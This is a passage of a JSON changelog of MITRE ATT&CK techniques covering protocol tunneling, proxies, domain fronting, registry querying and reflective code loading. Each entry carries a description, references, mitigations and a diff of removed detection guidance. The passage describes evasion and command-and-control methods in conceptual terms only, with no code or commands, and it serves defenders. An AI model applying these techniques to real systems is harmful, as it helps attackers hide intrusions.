"url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/"
},
{
"source_name": "Chokepoint preload rootkits",
"description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
"url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.040000+00:00\", \"old_value\": \"2025-04-15 19:58:52.691000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0011: Module (Module Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0448: Detection Strategy for VDSO Hijacking on Linux"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-15 16:03:39.082000+00:00",
"modified": "2025-10-24 17:48:45.888000+00:00",
"name": "Protocol Tunneling",
"description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)(Citation: Sygnia Abyss Locker 2025) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1572",
"external_id": "T1572"
},
{
"source_name": "Sygnia Abyss Locker 2025",
"description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
"url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "BleepingComp Godlua JUL19",
"description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.",
"url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/"
},
{
"source_name": "SSH Tunneling",
"description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.",
"url": "https://www.ssh.com/ssh/tunneling"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.888000+00:00\", \"old_value\": \"2025-04-15 19:58:29.875000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0538: Detection Strategy for Protocol Tunneling accross OS platforms."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:08.479000+00:00",
"modified": "2025-10-24 17:48:57.330000+00:00",
"name": "Proxy",
"description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1090",
"external_id": "T1090"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "Trend Micro APT Attack Tools",
"description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
"url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jon Sheedy",
"Heather Linn",
"Walker Johnson"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "3.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.330000+00:00\", \"old_value\": \"2025-04-25 15:15:44.084000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\\n\\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\\n-\\n-Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).\"}}}",
"previous_version": "3.2",
"changelog_mitigations": {
"shared": [
"M1020: SSL/TLS Inspection",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0445: Detection of Proxy Infrastructure Setup and Traffic Bridging"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-14 23:29:19.581000+00:00",
"modified": "2025-10-24 17:49:23.135000+00:00",
"name": "Domain Fronting",
"description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1090/004",
"external_id": "T1090.004"
},
{
"source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
"description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
"url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matt Kelly, @breakersall"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.135000+00:00\", \"old_value\": \"2025-04-25 14:48:02.492000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1020: SSL/TLS Inspection"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0196: Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-14 23:08:20.244000+00:00",
"modified": "2025-10-24 17:49:37.574000+00:00",
"name": "Internal Proxy",
"description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1090/001",
"external_id": "T1090.001"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "Trend Micro APT Attack Tools",
"description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
"url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Network Devices",
"Windows",
"macOS",
"ESXi"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.574000+00:00\", \"old_value\": \"2025-04-15 19:59:22.365000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0075: Internal Proxy Behavior via Lateral Host-to-Host C2 Relay"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:25.584000+00:00",
"modified": "2025-10-24 17:49:20.660000+00:00",
"name": "Query Registry",
"description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1012",
"external_id": "T1012"
},
{
"source_name": "Wikipedia Windows Registry",
"description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.",
"url": "https://en.wikipedia.org/wiki/Windows_Registry"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Access\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.660000+00:00\", \"old_value\": \"2025-04-15 22:58:50.612000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0209: Detection of Registry Query for Environmental Discovery"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-10-05 01:15:06.293000+00:00",
"modified": "2025-10-24 17:48:44.030000+00:00",
"name": "Reflective Code Loading",
"description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1620",
"external_id": "T1620"
},
{
"source_name": "00sec Droppers",
"description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.",
"url": "https://0x00sec.org/t/super-stealthy-droppers/3715"
},
{
"source_name": "S1 Custom Shellcode Tool",
"description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.",
"url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/"
},
{
"source_name": "Mandiant BYOL",
"description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021.",
"url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
},
{
"source_name": "S1 Old Rat New Tricks",
"description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.",
"url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/"
},
{
"source_name": "MDSec Detecting DOTNET",
"description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.",
"url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"
},
{
"source_name": "Microsoft AssemblyLoad",
"description": "Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024.",
"url": "https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load"
},
{
"source_name": "Intezer ACBackdoor",
"description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.",
"url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/"
},
{
"source_name": "Stuart ELF Memory",
"description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.",
"url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html"
},
{
"source_name": "Introducing Donut",
"description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.",
"url": "https://thewover.github.io/Introducing-Donut/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jo\u00e3o Paulo de A. Filho, @Hug1nN__",
"Shlomi Salem, SentinelOne",
"Lior Ribak, SentinelOne",
"Rex Guo, @Xiaofei_REX, Confluera",
"Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
"Jiraput Thamsongkrah"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Script: Script Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.030000+00:00\", \"old_value\": \"2025-04-15 19:58:27.959000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\\n\\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\\n-\\n-Monitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0011: Module (Module Load)",
"DS0012: Script (Script Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0300: Detection Strategy for Reflective Code Loading"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:48:42.154000+00:00",
"name": "Remote Access Tools",
